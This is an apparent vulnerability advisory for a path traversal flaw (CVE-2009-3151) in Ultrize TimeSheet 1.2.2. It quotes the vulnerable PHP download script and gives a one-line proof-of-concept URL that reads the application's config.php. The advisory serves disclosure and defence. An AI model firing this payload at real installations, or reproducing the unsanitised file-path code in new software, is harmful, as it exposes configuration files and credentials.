Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

2009-09-11 / 2009-09-12

Credit: None

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2009-3151

CWE: CWE-22

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability
Code page  /actions/downloadFile.php

====
<?php
//** This script performs the actual file download

$fileName = $_REQUEST['fileName']; <--!!
$job_id = $_REQUEST['job_id']; <--!!
$fullFile = $config['upload_dir'].$job_id.'/'.$fileName; <--!!

if (file_exists($fullFile))
{
    header("Content-Type: application/octet-stream");
    header("Content-Length: ".filesize($fullFile));

    header('Content-Disposition: attachment; fileName="'.$fileName.'"');

    readfile($fullFile); <--!!
}
else
{
    header("HTTP/1.0 404 Not Found");
    print "<h1>File not found. </h1>";
    print $fileName;
    print "<hr>Please make sure your file paths are correct: {$config['upload_dir']}/{$job_id}/$fileName}<br />";
}

?>
====

Poc
/actions/downloadFile.php?fileName=../config.php

References:

http://xforce.iss.net/xforce/xfdb/52166

http://www.milw0rm.com/exploits/9307

See this note in RAW Version

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Ultrize TimeSheet 1.2.2 readfile() Local File Disclosure Vulnerability

References:

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